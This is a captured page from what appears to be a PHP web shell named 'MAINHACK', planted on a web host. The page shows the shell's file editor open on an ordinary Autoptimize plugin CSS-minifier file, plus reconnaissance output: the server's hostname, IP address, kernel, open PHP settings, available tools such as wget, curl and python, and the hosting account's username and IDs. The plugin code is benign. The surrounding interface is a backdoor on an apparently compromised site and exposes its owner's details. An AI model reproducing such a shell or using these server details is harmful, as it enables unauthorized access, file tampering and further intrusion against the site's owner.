[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: autoptimizeCSSmin.php
<?php /** * Thin wrapper around css minifiers to avoid rewriting a bunch of existing code. */ if ( ! defined( 'ABSPATH' ) ) { exit; } class autoptimizeCSSmin { /** * Minifier instance. * * @var Autoptimize\tubalmartin\CssMin\Minifier|null */ protected $minifier = null; /** * Construtor. * * @param bool $raise_limits Whether to raise memory limits or not. Default true. */ public function __construct( $raise_limits = true ) { $this->minifier = new Autoptimize\tubalmartin\CssMin\Minifier( $raise_limits ); } /** * Runs the minifier on given string of $css. * Returns the minified css. * * @param string $css CSS to minify. * * @return string */ public function run( $css ) { // hide calc() if filter says yes (as YUI CSS compressor PHP port has problems retaining spaces around + and - operators). // regex see tests at https://regex101.com/r/ofGQG9/1 if ( apply_filters( 'autoptimize_filter_css_hide_calc', true ) ) { $css = autoptimizeBase::replace_contents_with_marker_if_exists( 'CALC', 'calc(', '#(calc|min|max|clamp)\([^;]*\)#m', $css ); } // minify. $result = $this->minifier->run( $css ); // restore calc() if filter says yes. if ( apply_filters( 'autoptimize_filter_css_hide_calc', true ) ) { $result = autoptimizeBase::restore_marked_content( 'CALC', $result ); } return $result; } /** * Static helper. * * @param string $css CSS to minify. * * @return string */ public static function minify( $css ) { $minifier = new self(); return $minifier->run( $css ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154